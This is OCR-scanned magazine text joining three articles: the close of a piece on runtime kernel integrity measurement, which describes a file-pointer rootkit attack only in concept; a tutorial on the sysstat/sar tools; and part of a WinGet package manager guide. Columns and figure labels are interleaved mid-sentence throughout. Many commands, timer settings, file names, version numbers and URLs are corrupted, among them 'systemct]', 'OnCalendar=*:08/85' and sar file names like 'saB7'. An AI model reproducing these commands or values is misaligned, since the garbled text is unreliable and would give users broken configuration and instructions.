it can be run any time and as often as
desired to refresh the measurement,
capturing fresh measurements of the
entire dynamic

Improved Bank Transactions: Denied without RunTime Integrity

Request Handler

Banking App —_— —
T Yes
RunTime
| Attestation | -
Lol Integrity
| No

state (Figure 3).
This method, in
effect, resets the
window of vulner-
ability from boot
time to the time
of the most recent

l Yes
measurement.
Transaction . s .
Vilidasing Runtime integrity
measurement

No
¥

works by examin-
ing data structures
for specific data
values deemed

Figure 2: Example integrity system for online banking.
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Boot

Verified State T

Secure Boot
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Verified Only at Boot Time
Vulnerable Since Boot

more complex re-
ports require more
complex appraisals
that need to make
sense of more

3 measurement data.

T2
| | Appraisal prepro-
cessing strategies
- . that produce partial
Integrity Integrity results can be em-
Appraisal Appraisal

Verified Stote
Vulnerable Only for Interval

With Runtime Integrity

Verified State

ployed to reduce at-
testation costs, but
appraisal can be a
daunting challenge.
As an example of

Figure 3: Runtime integrity testing.

integrity. Configuration files are cre-
ated from prior analysis of the source
code for each target system. The
configurations identify which data
structures need examination and the
offsets in each to the desired data.
The runtime integrity system creates
a measurement by traversing the
system image in memory, following
data structure links to discover new
instances of each identified structure,
and then recording the configured
values from the specified offsets.
When completed, all or part of the
measurement, according to the use
case, is sent off for appraisal in an
attestation.

Nothing Good Is Free

Runtime integrity is a big step for-
ward for integrity systems that can

as physically possible to maximize
security value, more limiting choices
can be made to minimize the effect
on a system while likely providing
sufficient results.

With the caveat that these choices
can’t be made in a vacuum, absent
any notion of use cases, a proven
strategy is to focus measurement on
those portions of the executing soft-
ware attractive to attackers - namely,
those portions that can directly af-
fect execution control flow and data
structures that affect decisions about
control flow.

Runtime integrity also complicates at-
testation and appraisal. Although run-
time integrity measurement reports
can contain a plethora of information
about the exact nature of a compro-
mise, larger integrity reports need to
be included in attestations. Likewise,

how runtime integ-

rity can be tailored
to focus on high-value data structures
in the kernel, consider how the Linux
kernel handles file operations such as
read, write, or delete. Linux abstracts
away the device driver operations that
implement these functions for specific
devices. For each active file, it main-
tains as part of its dynamic runtime
state a data structure of file pointers
for each device operation. The file
operations can thus be accessed in
a generic way without regard to the
specifics of different devices.
This sort of elegant programming
solution provides opportunity for
attackers to hide malicious code in
the kernel once it is compromised
by replacing the values in the file
operations structure with pointers to
inserted malicious code (Figure 4).
In this example, an attacker might
replace the pointer to the file’s delete

yield much better
results. Like most
beneficial things,
it does not come
without cost.
Runtime integrity
measurement is a
complex process
that is not without
overhead in time
and system re-
sources. Although
you might be
tempted to use run-
time integrity on
every conceivable
part of the system

0s

vis_unlink * =— _ x64_sys_unlink

v

ROOTKIT_Func

O

h Software

Delete/secret.txt

Execute Malicious Payload

Inotify never delivered

and as frequently
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Figure 4: A file pointer attack.
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operation that can then be easily ex-
ecuted at some future time by simply
deleting a file.

Because analysis of the Linux kernel
has identified these structures as rel-
evant to integrity, the runtime integ-
rity system is configured to extract
the relevant pointer information from
these structures. The measurement
process will discover every instance
of this data structure and record the
active function pointer values for
later comparison with the expected
values. The runtime integrity sys-
tem doesn’t need to know how the
values were compromised. The fact
that there might be variance from
known expected values will allow
detection regardless of the means the
attacker used to corrupt the system.
The same technique is employed

for every other type of kernel data
structure identified in the a priori
analysis.

A Word on Appraisal

Appraisal of runtime integrity
measurements can be made into a
constraint-checking problem. Con-
straints on the data that indicate
the system is unchanged are identi-
fied, reducing appraisal to checking
whether the attested measurement
data satisfies them. Failures indi-
cate where system compromises
have occurred. This novel idea al-
lows runtime integrity to function
by detecting deltas from a system’s
known good state instead of only
being able to report the recognition
of previously seen

. TOOLS Runtime Integrity

expressed as constraints on the values
of the recorded function pointers.
Constraints are defined that require

a match to expected values. Not only
will the constraint-checking process
indicate a failed appraisal, but it will
also identify specific data structure
nodes, along with the unexpected
values where any corruption has oc-
curred, which is invaluable informa-
tion for any forensic analysis of an
attack.

The most important innovation that
makes runtime integrity tractable

in the face of extremely complex
and changing systems is an efficient
baselining process, wherein a run-
ning system in a known good state,
preferably pristine, is measured to
produce data that can be used to
support both measurement and ap-
praisal of a running system by iden-
tifying specific values for key data
that can be unique for every running
system. For measurement, baselining
helps identify initial locations of key
data structures from which the mea-
surement process can discover the
rest. For appraisal, baselining sup-
ports constraint generation by identi-
fying the known good values used in
the constraints.

Again, revisiting the file operations
example, the baselining process al-
lows both the measurement and
appraisal processes to work by iden-
tifying where in the kernel the mea-
surement process can locate the file
operation structures, as well as the
correct locations of the device file op-
eration functions.

Still Not Convinced?

Runtime integrity is an effective
emerging technology that can be used
to detect system compromises, en-
hance existing security mechanisms,
and offer peace of mind that likely
vulnerable systems have not been
compromised and, by extension, that
critical functions are operating as
expected. Still, when many are intro-
duced to this technology, they ques-
tion whether it is necessary in their
environment.

Sure, their systems might be vulner-
able, but they won’t be the one at-
tacked, or their system has the latest
software updates, or they’ve already
invested in security solutions like
virus protection or system monitor-
ing. They see their systems as secure
as they’re going to get and that any
attempt to ensure system integrity, es-
pecially at the operating system level,
is overkill. These and any other num-
ber of rationalizations can be costly
positions to take when an attack fi-
nally does succeed or some accidental
action by an authorized user opens
up the system to malicious code and
subsequent compromise.

The fact of the matter is that system
attacks are widespread, unrelenting,
and often automated, indiscriminately
looking for vulnerable systems to ex-
ploit. Attackers, no matter the vector
they take, look to gain execution on
a system, exploit a vulnerability to
escalate their privileges, and launch
whatever attack suits their purpose.
In some cases, the strategy could be

bad states. Conse-
quently, runtime
integrity can de-
tect compromises
resulting from
existing and never
before seen system
attacks (Figure 5).
Revisiting the
above file op-
eration example,
appraisal of the
measurement data
collected about file

Known Good State

Vs
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Known Attack Signatures

Known
+— Threat? —™

l

T

Known
*— Threat? —*

Can only detect known threats

operations can be
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to inflict immediate damage to the
system, but in many instances, it
leads to software modifications that
allow continued access for an attacker
to corrupt or exfiltrate information,
interfere with critical system functions,
misuse system resources, or imperson-
ate legitimate users and exploit their
privileges on the system or out on the
Internet.

For most attackers, compromise of the
operating system is the ultimate prize
because it is the system component
that executes with the most privilege
on the system. From there, an at-
tacker can pretty much bypass any
security mechanisms on the system,
modify any existing software, or in-
stall any piece of malicious software.
Once the operating system is compro-
mised, nothing on the system should
be trusted any longer. Any work done
or data generated subsequent to the
attack becomes suspect. The only
safe action is to rebuild the system
from scratch.

Knowledgeable system designers and
administrators recognize this prob-
lem. Systems today incorporate many
effective security mechanisms that
challenge attackers. Still, only one
flaw is needed for an attack to suc-
ceed, and new attacks seem always
to be just around the corner. Even

if it were possible to build flawless
operating systems, they would still be
vulnerable to attack. Ample oppor-
tunities are present along the supply
chain or from hardware devices con-
nected to the running system to intro-
duce unauthorized modifications.
Nonetheless, design and implementa-
tion flaws will likely remain a reality
for some time, keeping system admin-
istrators busy patching systems and
chasing the latest attacks. For these
reasons, I’'m convinced that integrity
measurement, in particular runtime
integrity at the operating system level,
is a crucial technology in the battle to
secure systems.

Runtime Integrity vs.
Monitoring

Many people see system monitor-
ing as the future of attack detection.
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The theory is, if enough data about
a running system, network traffic, or
attack trends can be collected, ana-
lyzed, and understood in near real
time, it can be possible to recognize
when attacks have occurred or even
predict when they might occur. You
can also look back and analyze ac-
tions that have already occurred. In-
deed, advanced monitoring systems
show promise that some of these
claims can be realized, already mak-
ing system monitoring an important
weapon in the security arsenal. The
emergence of artificial intelligence
hints of continued advances in this
space, which will only make system
monitoring more effective.

As promising as system monitoring
is, it would be a mistake to con-
fuse it as a substitute for runtime
integrity. Monitoring is a resource-
intensive process, requiring intrusive
collection of massive amounts of
data and complex behavioral system
models, and exposes detailed infor-
mation about system activity, making
monitoring systems attractive targets
for attackers. Monitoring results
can only be as good as the data and
models.

In contrast, runtime integrity is in-
dependent of behavior. Constructing
behavioral models and validating
them is difficult, with no way to vali-
date them against previously unseen
bad behavior. Runtime integrity only
needs a characterization of a good
system state to be effective. This
straightforward problem is based
solely on the deployed system and
not on any notion of acceptable ac-
tions that can be taken on any given
system.

Monitoring systems suffer from an-
other often overlooked problem. The
mechanisms used by the monitoring
system to collect data come from
instrumentations of the operating
system itself, with a suitable vantage
point to observe. Any operating sys-
tem compromise immediately calls
into question the fidelity of the mon-
itoring data. Admittedly, some con-
figurations of runtime integrity sys-
tems could suffer from similar short-
comings, but current alternatives

to observe safely from outside the
operating system are more conve-
nient for observing system state than
for collecting large amounts of data
efficiently.

Runtime integrity should not be seen
as a competitor to system monitoring;
instead, as for so many other security
mechanisms, it should be considered
a complimentary mechanism. Run-
time integrity can be used to increase
monitoring system and data fidelity or
even as a reliable source of monitor-
ing data if integrity measurements or
appraisal results are forwarded to the
monitoring system.

Although runtime integrity is not a
primary measure of correct system
behavior, no assertion that system be-
havior is good should be relied upon
in the absence of a sound assertion
that the monitoring system and its
behavior have integrity. Furthermore,
strong evidence of a system’s runtime
integrity might be a good indicator of
good behavior.

Closing Thoughts

A key takeaway from this article
should be that runtime integrity tech-
nology is real and can be extremely
effective. It has been successfully
used in government and commercial
situations and is a significant step
forward for integrity measurement
systems that can substantially im-
prove security decisions across many
use cases. Runtime integrity is ripe
for wider adoption or even incorpora-
tion into systems as a core security
service. Given the opportunity, deploy
it on systems under your control and
demand that it be incorporated into
those that you don’t. [ |
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. TOOLS sysstat

Facts, Figures, and Data

The top, vmstat, and iotop monitoring tools for Linux show the current situation but do not provide
any information about the past - which is where sysstat comes into play. By Thomas Reup

The sysstat package contains numer-
ous tools for monitoring performance
and load states on systems, including
iostat, mpstat, and pidstat. In addi-
tion to tools intended for ad hoc use,
sysstat comes with a collection of utili-
ties that you schedule for periodic use
as cron jobs (e.g., sar). The compiled
statistics range from I/O transfer rates,
CPU and memory utilization, paging
and page faults, network statistics,
and filesystem utilization through NFS
server and client activities.

Of course, you could use top, vmstat,
ss, and so on to determine the data,
but bear in mind that system events
are hardly likely to be restricted to the
times at which you are sitting in front
of the screen. Admins typically receive
requests for more detailed informa-
tion, like: “What exactly happened on
system XY between 1:23 and 1:37am?”
Many sensors in modern monitoring
systems are capable of detecting these
anomalies, but very few IT depart-
ments are likely to have configured
comprehensive monitoring for all
systems. Moreover, these metrics quite
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commonly are not implemented in a
central monitoring setup. Sysstat gives

you the perfect toolbox for these cases.

Installation

To install sysstat under Ubuntu and
Debian, just run:

sudo apt install sysstat

By default, sysstat checks the system
every 10 minutes with the use of a
systemd timer. If you require more
frequent measurements, you need to
adjust the interval in the /usr/1ib/
systemd/system/sysstat-collect.timer
file. You can set a scan every five
minutes by entering *:06/05 instead
of the default setting *:08/16:

[Unit]

Description=Run system activity 2
accounting tool every -18- 5 minutes

[Timer]

OnCalendar=*:08/85

[Install]

WantedBy=sysstat.service

Next, tell systemd that the configura-
tion has changed by typing:

systemct] daemon-reload

To enable and start monitoring

with sar, you also need to open

the /etc/default/sysstat file and
change the ENABLED="false" setting
to ENABLED="true". You can enable
automatic launching of the service at
boot time and launch it directly with:

systemct] enable sysstat
systemct] start sysstat

A call to
systemct] status sysstat

should now return an active message.

sysstat at Work
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Sysstat writes the measured values
in a binary-encoded format to files
in the /var/log/sysstat/ folder. The
utility has a file-naming scheme that
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uses the day (i.e., sa<DD> with the -o
option) or the year, month, day (i.e.,
sa<YYYYMMDD> with the -D option) and
always accesses the current file when
reading.

If you launch sar -q, the tool dis-
plays a brief overview of the con-
figuration. The overview contains

a line with system data such as
kernel, hostname, and date. Another
line indicates when sysstat-col-
lect.timer was last restarted. Fi-
nally, one line per sample shows
measured values (e.g., the size of
the run queue and the process list)
as well as three calculated values
for load average.

Ex-Post Analysis

In this article, I focus on accessing ex-
post data (i.e., the state of a system in
the past). To access the data for the
last two days, sar offers the -1 (yes-
terday) and -2 (day before yesterday)
switches. Regardless of the sensor in
which you are interested, sar -1 gives
you the previous day’s data.

If the measurement data is from fur-
ther back, you have no choice but to
specify the file names with the -f ar-
gument. If you explicitly want to view
the statistics from January 8, you
would define the source file as shown
in the first line of Listing 1.

However, filtering by specific days is
often not enough, so you can filter for
a time interval by passing

-5 [<hh>:<mmy:<ss>] -e [<hh>:<mm>:<ss>]

for the start and end times. The com-
mand in line 2 of Listing 1 returns
metrics between 23:30:00 hours and
23:55:00 hours on January 8.

The command returns three data
records in addition to the obligatory
header line. My systemd timer is set to
a 10 minute period, which explains the
times of the samples. Other measured
variables are user, nice, system, iouait,
steal, and idle. Unsurprisingly, user
shows the proportion of the CPU load
assigned to processes in user space.
The same applies to nice, with the
restriction that only the processes with
their own nice level are included.

[WWW.ADMIN-MAGAZINE.COM
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The system variable shows
utilization by the kernel
(i.e., the time required for
hardware access or soft-
ware interrupts). Waits,
which can occur when

Listing 1: Analysis with sar

81 $ sar -f /var/log/sysstat/sa6sA [...]

62 $ sar -f /var/log/sysstat/sae8 -s 23:30:60 -e 23:55:60 [...]
83 $ sar -f /var/log/sysstat/sa87 -s 23:30:00 -e 23:55:00 -P ALL
04 $ sar -f /var/log/sysstat/saB7 -s 23:36:00 -e 23:55:60 -P 1,2

accessing hardware, are

listed under iowait, and steal records
the share of involuntary waits that oc-
cur, for example, if you are looking at
a virtual machine and the hypervisor
distributes CPU time differently. Fi-
nally, idle provides information about
time when CPUs are idle and no I/0
operations are pending.

Without further details, sar provides
CPU utilization, but only as a total for
all CPUs. If you want to view individual
CPUs or cores, you can run sar with
the -P switch. The command in Listing
1line 3 displays the status of all cores,
and the command in line 4 displays the
status for cores 1 and 2 only.

Like top, sar displays the average
load. In principle, this is an excel-
lent indicator for assessing whether

a system is scaled correctly. If the
average system load is significantly
greater than the number of CPU
cores, you are looking at an overload
scenario. However, if the value is
mostly around zero, the system may
be oversized and you could consider
withdrawing resources.

As Figure 1illustrates, sar can output
a considerable volume of detail about
system load. The run queue (rung-
sz) shows hardly any additional load
during the afternoon. The number

of processes (plist-sz) is quite high,
at around 350, but this number is
intentional, being mainly PHP server
processes available as spare servers
to process requests as quickly as pos-
sible. The machine has four cores and
is exposed to very moderate utiliza-
tion, with an average system load of
0.55.

RAM

RAM is also regarded as an indispens-
able parameter and is queried with
the sar -r command. Kilobytes is

the unit of measure, which makes it
difficult to read on modern systems.
The fields have friendly names:
kbmemfree shows free memory, and
% memuser is percent memory. The
individual values are all described in
the man page.

thomas@raspif2:~% sar -1 -q -s 14:00:00 -e 18:00:00
Linux 6.1.21-v8+ (raspi®2) 08.01.2024 _aarch64_ (4 CPU)
14:00:02 rung-sz plist-sz 1ldavg-1 1ldavg-5 1ldavg-15 blocked
14:10:01 1 354 0.57 8.50 0.56 0
14:20:08 0 346 0.39 9.32 8.41 0
14:30:08 0 351 0.66 0.38 0.37 0
14:40:01 1 351 0.53 0.36 0.34 o}
14:50:08 2 352 0.36 0.25 0.27 0
15:00:08 0 347 0.29 0.16 0.19 0
15:10:01 1 353 0.87 0.60 0.36 ]
15:20:02 1 350 0.63 0.69 0.55 ]
15:30:08 0 348 0.57 0.61 0.56 0
15:40:02 1 349 0.60 8.51 0.51 0
15:50:08 0 346 0.76 0.59 0.53 ]
16:00:02 0 349 0.58 0.50 0.50 1]
16:10:09 1 347 0.58 0.40 0.41 0
16:20:09 0 345 0.46 0.30 0.33 0
16:30:09 ] 378 0.56 0.29 0.27 0
16:40:01 1 353 0.56 0.31 0.26 0
16:50:09 0 347 0.81 0.42 0.28 0
17:00:02 1 352 1.08 0.86 0.58 0
17:10:01 1 351 0.80 8.71 0.62 0
17:20:09 0 349 0.70 0.62 0.60 0
17:30:09 0 349 0.16 0.19 0.37 o}
17:40:01 1 350 0.03 8.05 0.20 ¢}
17:50:09 e 349 0.05 0.04 0.11 0
Durchschn. : 1 351 0.55 0.42 0.40 ]
Figure 1: The average system load is moderate in the afternoon.
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Poor performance does not necessarily
have to be the result of a lack of RAM
or CPU power. Either sar or top checks
the CPU load and memory consump-
tion. If you think both are OK and are
still surprised by a high load average,
the problem is often a low I/O rate.

If the kernel always has to wait for
slow read-only memory, especially for
database applications, even the fastest
processors are useless.

The command sar -b outputs the
current I/0 indicators. The tps param-
eter measures transfers per second,
whereas rtps and wtps differentiate
between read and write processes.
The number of bytes read per second
is reported as bread/s, and bwrtn/s
shows the bytes written per second.
If the I/0 values are also without
complaint (i.e., if the values for

tps are not significantly worse than
usual), the network could be the
bottleneck. Poor values for rsize and
wsize for mounted NFS shares can
have a strong influence on perfor-
mance, which in turn causes pro-
cesses that are waiting for network
transfers to freeze.

kSar

. TOOLS sysstat

suitable development environment
by typing

sudo apt install default-jdk

Installing kSar on server systems
makes little sense, because it requires
a graphical interface and you will also
potentially need it on every system.
The recommendation is to install on
your own workstation.

The main window appears spartan
at first glance. The entry point is the
Data menu. You can read from local
files or use the output of local com-
mands or remote commands over
SSH. The SSH connection didn’t
help me because it only implements
password authentication, and my
systems rely entirely on public keys
for authentication. I tend to write
short shell scripts that establish the
SSH connection with a key and run
the respective command on the tar-
get host:

#!/bin/bash
ssh thomas@raspi62 'LC_ALL=C sar -R -f'

Enter the path to the script as the
Local Command and press OK to

confirm. kSar then prompts you for
the Date Format; 1 chose MM/DD/YY
23:59:59 because Automatic Detection
has obvious weaknesses. After press-
ing OK, the navigation section on the
left-hand side of the kSar window fills
up (Figure 2). After clicking on the
tree, you can also view the graphs for
the matching sar query without hav-
ing to copy files from servers.

Conclusions

Taken on their own, many of the
measured values determined by sar
are ultimately of little use. Instead,
you can plot statistics over the course
of time to compare values. Therefore,
it makes perfect sense to evaluate the
target state graphically. On this basis,
anomalies can be easily detected later
and correlated with logfiles. [ ]

Info
[1]1 kSar:
[https://sourceforge.net/projects/ksar]|
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Manage software apps publicly and privately

Specialy,
Deli

The WinGet client for the Windows Package Manager improves the software installation experience for
administrators, developers, and users and provides a way to create and share software in the WinGet
package format for publishing to public and private repos. sy kevin Wittmer

The Windows Package Manager is relatively new package system and to refine the software installation
Microsoft’s answer for simplifying offers a command-line interface (CLI). experience for administrators, devel-
the deployment and management Drawing on the rich heritage of Linux  opers, and users. Since its launch in
of applications within the Windows package managers such as Apt and May 2021 with version 1.0, Windows
ecosystem. The WinGet client, gener- ~ Windows-native equivalents such Package Manager has quickly gained
ally synonymous with Windows Pack- as Chocolatey and AppGet, WinGet acceptance through community

age Manager, is the main face of this signifies Microsoft’s most direct effort ~ adoption of WinGet and its public

Table 1: WinGet CLI Examples

Command Alias Example Description
install add winget install -e --id RedHat.Podman Install Podman package (which includes the WSL dependency)
--verbose-1ogs with an exact ID match and verbose logging enabled
shouw vieu winget show vscode Show information about a package
source - winget source add -n mypckgsource Manage sources of packages (e.g., add custom source)
-t Microsoft.REST
-a[htips: //WWW. mydomain.orq
winget source list List source repositories
search find winget search OpenJDK Search repo(s) for matching packages by name
winget search --query "Python 3"
winget search Adobe -s msstore Limit search to a particular package source
list Is winget list Download package info updates and list installed packages
winget list - n 12 Limit package list results to n apps
winget list --upgrade-available Display packages with updates available
winget list terminal Filter the list of packages by terminal
upgrade update  winget upgrade -e --id Redhat.Podman  Update specific package matching by exact ID
uninstall remove  winget uninstall vscode Uninstall the named package
winget [options] - winget --open-1ogs Open the logs subdirectory
winget -? shou View help details and options of the show command
ADMIN 81 [Www.ADMIN-MAGAZINE.COM
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repository, with more than 4,000
package contributions. In this article,
I touch on the WinGet CLI and the as-
sociated app lifecycle and provide an
overview of creating and sharing your
installer in a WinGet package format.

Why WinGet?

The evolution of package manage-
ment in the Windows ecosystem

has been more than 10 years in the
making. Chocolatey, initially a small
project that gained traction through
Kickstarter support, has evolved into
a robust ecosystem, significantly
strengthened by the success of its
funding campaign. This gradual pro-
gression has set the stage for future
developments in Windows package
management. Meanwhile, another
project, AppGet, was also quietly
taking shape.

The package management scene for
Windows took a notable turn in 2020,
with an announcement at the annual
Microsoft Build conference of the
Windows Package Manager WinGet
client, marking a new era in Win-
dows software management. WinGet
consolidated crucial features from
predecessors such as AppGet, creat-
ing a comprehensive package man-
agement solution for the Windows
ecosystem. The success of a package
manager hinges on active community
participation and meeting the needs

Recently updated packages 3

ar () Pomodoro Logger o

Figure 1: The winget.run homepage.

WWW.ADMIN-MAGAZINE.COM

WinGet TOOLS .

of users, developers,
and system administra-
tors; WinGet has made
substantial progress in fale
garnering community
contributions and user
acceptance over the past
several years [1].

PouerShell

PouerShell Previeu

PouerShell Previeu

Listing 1: Searching for Packages

uinget search Microsoft.PouerShell

Id Version  Source
Microsoft.PowerShell 7.4.1.8  uwinget
Microsoft.PouerShell.Preview 7.5.8.2 winget
9P9SZZKTNRN4 Unknoun  msstore

WinGet from the
Command Line

The primary method of engaging with
WinGet is through the CLI with the
winget tool. Table 1is an overview of
common commands and useful op-
tions. To get started, fire up a CMD or
Terminal session and ask WinGet for
help with the question option:

winget -?

If you want to search the WinGet
public repo for packages with names
that might include “PowerShell,” or
be tagged as such, use the command
shown in Listing 1 with its output.
The first two rows list packages
sourced from the winget repo, and the
third row has a package sourced from
the msstore repo (Microsoft Store).
The winget package source is the
main Community repo, whereas ms-
store is the repo for the store directly
integrated into Windows.

To continue the example, install the
preview edition of PowerShell:

winget.run

S5 p

browser dynamically

) BrowserSelect -- select 4+

winget install 2
--id Microsoft.Powershell.Previeu 2
--source winget

Note that, in this instance, you explic-
itly specify the repo source. This op-
tion will be helpful later when design-
ing private repos. After installation,
you should be able to locate the push
executable binary under C:\Program
Files\PowerShell\7-previeu.

For the following installation example,
install the well-known editing tool
Notepad + +, which is available from
the Notepad + +.Notepad + + package
maintained in the WinGet repo:

winget install -e --id Notepad++.Notepad++

Figure 1 shows the start page for
winget.run, a web app and API
that provides a search feature for
all packages available in the public
repository. The homepage view also
defaults to rendering a recently up-
dated package list.

) MrCode
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If you are interested in the Chrome
browser application, for instance, you
can search for the package and then
proceed to install by copying the
command under How to install:

winget install -e --id Google.Chrome

Alternatively, you can look up and
use the friendly name for Chrome or
use a shorthand package reference,
e.g., for Visual Studio Code:

winget install "Windous Chrome"
winget install VSCode --verbose-logs

The install command supports
various options, including verbose
logs, as specified here. Utilizing the
logging options of the winget com-
mand line is beneficial for trouble-
shooting or debugging failed pack-
age installations. It also offers a de-
tailed record of the copied artifacts
and any local modifications made
during the setup or installation of
software packages (e.g., created
registry entries).

To view or inspect the logfile manu-
ally, use

winget --open-logs

This option opens a package subdi-
rectory by Windows context, local
state, and diagnostic output. You
might need to navigate the directory
to find and examine the logfile text,
which contains timestamps for each
setup action. Initially, it logs the path
to the original setup executable and
the options used for initiation (e.g.,
/SILENT, /SUPPRESSMSGBOXES).

Actions performed during the setup
appear at the top of the logfile. Each
copied or installed file generates a
log entry. Registry entries are also re-

corded, further enhancing traceability.

You can use
winget --info

to determine the local, absolute path
where logfiles are stored. The console
output displays the log settings, com-
monly rooted in the %LOCALAPPDATA%
directory.
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App Management Lifecycle

The classic lifecycle of an application
is to install, maintain the applica-
tion binary and artifacts over many
updates, and eventually remove or
uninstall it. I'll walk through this
command cycle with several WinGet
command-line examples. To begin,
search the public repo for Wireshark:

winget search --id WireSharkFoundation

To review package details, use the
show command and query and have
past versions printed to the console:

winget shou -e 2
--id WiresharkFoundation.Nireshark 2
--versions

The -e option ensures an exact match
of the identifier. You can also view
past version details by heading to the
website [1], looking up the package
of interest, and viewing past versions
in your web browser. For example, to
install the earlier 4.0.2.0 version of
Wireshark that comes before those
with a known bug, enter:

winget install 2
--id WiresharkFoundation.Nireshark 2
--version 4.9.2.0

If the Wireshark development team
social media feed later reveals that
the particular bug has been fixed and
an updated version addressing the
issue and incorporating the latest fea-
tures is now available, you can pro-
ceed with the upgrade as follows:

winget upgrade 2
--id WiresharkFoundation.Nireshark

Because Wireshark is not for mere
mortals and you might be working

Table 2: Developer Packages

Package/App

Short Description

on a shared computing environment,
once its purpose is fulfilled, you can
remove the software:

uinget uninstall 2
--id WiresharkFoundation.Wireshark

Note that many winget commands
have an alias, which you can discover
with the winget show command.

Manage Your Development
Toolchain

WinGet lets you install a collection of
packages. To prepare a Windows envi-
ronment with a specific set of software
packages, use the export command
and tweak the exported definition’s
contents in JSON format; later, you
can distribute it across any number of
Windows environments for import.
Assume you have already set up a local
environment with the packages listed
in Table 2. Before exporting, quickly
check the help text to understand the
options available with this command:

uinget export --help

The command returns several op-
tions, the most interesting of which
are the options to name the exported
file (--output or -0) and to output
detailed logging (--verbose and
--verbose-1ogs):

uinget export 2
--verbose-1ogs 2
--output fullstack-dev-toolchain.json

The export command executes
quickly, so you can move to inspect
the JSON file structure, which gener-
ally looks like Listing 2; it is an in-
depth example of a series of package
exports that represent a development
toolchain. Customizing the package

WinGet Package Name

T-Zip A free and open source file archiver mcmilk.7zip-zstd

VSCode Community VSCode with no telemetry tracking  VSCodium.VSCodium.Insiders
JDK Microsoft's spin of the Java Development Kit Microsoft.0penJDK.16
Python Python SDK and runtime distribution Python.Python.3.11

Az CLI Azure command-line interface Azure-CLI
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selection for this scenario requires a
bit of editing of the JSON export. Cru-
cial elements within this JSON struc-
ture include SourceDetails, which
dictates the sourcing of packages,

and the specifications of the packages
themselves.

Be aware that the export can contain
installed packages beyond your inter-
ests, requiring manual effort to reduce
it to the ideal package set for a particu-
lar scenario or use case. Once this step
is done, employ the import command
and the option syntax below to bring
in this tailored set of packages:

winget import 2
-i fullstack-dev-toolchain.json 2
--disable-interactivity 2
--accept-package-agreements

The -i option specifies the JSON file
containing a list of apps to install,
allowing for bulk installation. The
options --disable-interactivity and
--accept-package-agreements automate
the process by skipping user prompts
and agreeing to any terms, stream-
lining app setups without manual
intervention.

Writing a Package Manifest

Microsoft employs a Git-based pro-
cess for those looking to contribute
a new package. Contributors develop
a package manifest and submit it for
approval to the Microsoft Commu-
nity Package Manifest Repository. To
begin, install the Windows Package
Manager Manifest Creator,

winget install wingetcreate

which facilitates generating or updat-
ing manifest files for the Community
repository. After installation, you can
proceed to create a new package:

wingetcreate new 2
[Attps://qithub. con/kruitiner 2
[admin-magazine-source/bTob/main/[2

lexploring-uinget/ficl-uin-setup/f

4Debug/FiclSetup.nsi

The new command accepts one or
more URLs of HTTPS-accessible
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installer files and downloads
and parses the executable
setup program. The parsing
process extracts several key
data points, as shown in List-
ing 3 [2]. The InstallerUrl is
an open, web-accessible loca-
tion from which the installer
can be downloaded. The cal-
culated hash of the installer
file is maintained in the field
InstallerShaz256.
Command-line execution of
the wingetcreate tool gener-
ates three YAML files during
the creation process: (1) an
installer YAML, which is the
primary file containing in-
structions for installing the ap-
plication; (2) the local YAML,
which includes language-
specific information; and (3)
the YAML configuration file
specific to the packaged OSC.
Ficl application.

After creating the manifest
file, you have the option to
submit it to the Windows
Package Manager repository,
which I cover later in the
article. See also the “Simple
Installer Creation” box for
instruction on creating an MSI
installer in Visual Studio.

Testing Your Manifest

Once your manifest file is cre-
ated, you can test it locally in
the same Windows environ-
ment in which you initially
authored the manifest or in a

Listing 2: JSON Package File

3
1,

"SourceDetails" :

{

"Identifier" :
"Name" : "winget",
"Type" :

3

3

]!

"HinGetVersion" :

3

"PackageIdentifier" :

{

"$schema" : [(https://aka.ms/uinget-packages.schema.2.0. json"),
"CreationDate" : "2024-63-857T03:41:14.411-006:00"

"Sources" :

[

{

"Packages" :

[

{

"PackageIdentifier" : "Microsoft.VisualStudio.2022.Community"
IR

{

"PackageIdentifier" : "Microsoft.VisualStudio.20822.BuildTools"
h

{

"PackageIdentifier" : "mcmilk.7zip-zstd"

h

{

"PackageIdentifier" : "Microsoft.PouerShell.Previeu"

b

{

"PackageIdentifier" : "Microsoft.VisualStudioCode"

L

{

"PackageIdentifier" : "Microsoft.OpenJDK.16"

b

{

"Python.Python.3.12"

"Argument” : [hTTpS://CAN.WINGet. MICrosof L. com/cache

"Microsoft.Winget.Source_8uekyb3dsbbue",

"Microsoft.PreIndexed.Package"

"1.6.3482"

PackageIdentifier: 0SC.Ficl
PackageVersion: 1.2.0
InstallerLocale: en-US

InstallerType: msi

Installers:

- Architecture: x86

ProductCode: '{116A96E1-3C5C-4147-AC63-98427DFE866B}"

Listing 3: YAML Installer File

ManifestType: installer

ManifestVersion: 1.6.0

InstallerUrl: Hftps://github.con/kruitimer/ficl-uin-sefup/rau/nain/4Debug/FiclSetup.nsi
Installersha2se: 1EE67FC17B8F38EFSACDIBEEDAIEI23550C8F98BSERFDIDADL 403BAF CODAF 6B
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different Windows host environment.
A prerequisite to testing manifest files
locally is to enable the LocalManifest-
Files setting,

winget settings --enable LocalManifestFiles

which requires activating administra-
tive privileges for the CMD or Termi-
nal session. The modification can be
confirmed by reviewing current admin
settings with the --info option (which
prints the LocalManifestFiles setting to
the console, among other settings) and
WinGet environment properties.

Next, validate the manifest file:

winget validate --manifest .

The dot at the end instructs the vali-
date command to search for the previ-
ously generated YAML manifest files in
the current subdirectory. If validation
fails, correct the errors according to the
line numbers provided in the console
error text. You can then install the
package while continuing to reference
the package manifest locally:

winget install --manifest

As before, specifying the dot at the
end instructs the winget command to

Simple Installer Creation
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search for YAML manifest files in the
current subdirectory.

Also consider testing your manifest in
Windows Sandbox with the .\Tools\
SandboxTest.psi PowerShell script
included in the winget-pkg repository.
Ensure your script path matches your
manifest’s location. After testing pack-
age installation, which should include
launching the app post-package in-
stall, you can rollback by issuing the
uninstall command or remove alias:

winget uninstall --id 0SC.Ficl

Finalize your submission by test-
ing the contribution process in the
winget-pkgs-submission-test GitHub
repository [3]. Begin by forking the
repository and follow standard Git
practices for adding and pushing
changes. Add your manifest to the
local repository under

manifests/<first letter of publisher>/2
<publisher>/<application>/<version>

Ensure it matches the required struc-
ture and information. Commit your
changes with a descriptive message
and push them to the remote test
repository. Note that contributions
typically require acceptance of a

To create an MSl installer in Visual Studio,
download the free Community edition and add
the Microsoft Visual Studio Installer Projects
extension (from the Extensions | Manage Ex-
tensions menu item). This extension simplifies
creating an installer and managing the files it
will distribute (e.g., executable files, DLLs, and
other necessary application runtime files). The
main workspace for this task is the File Sys-
tem area of the project, where you can easily
add these files (Figure 2).

Building the installer takes place in Visual
Studio’s graphical user interface or with the
devenv command, which offers a command
line. To build the command line, specify the
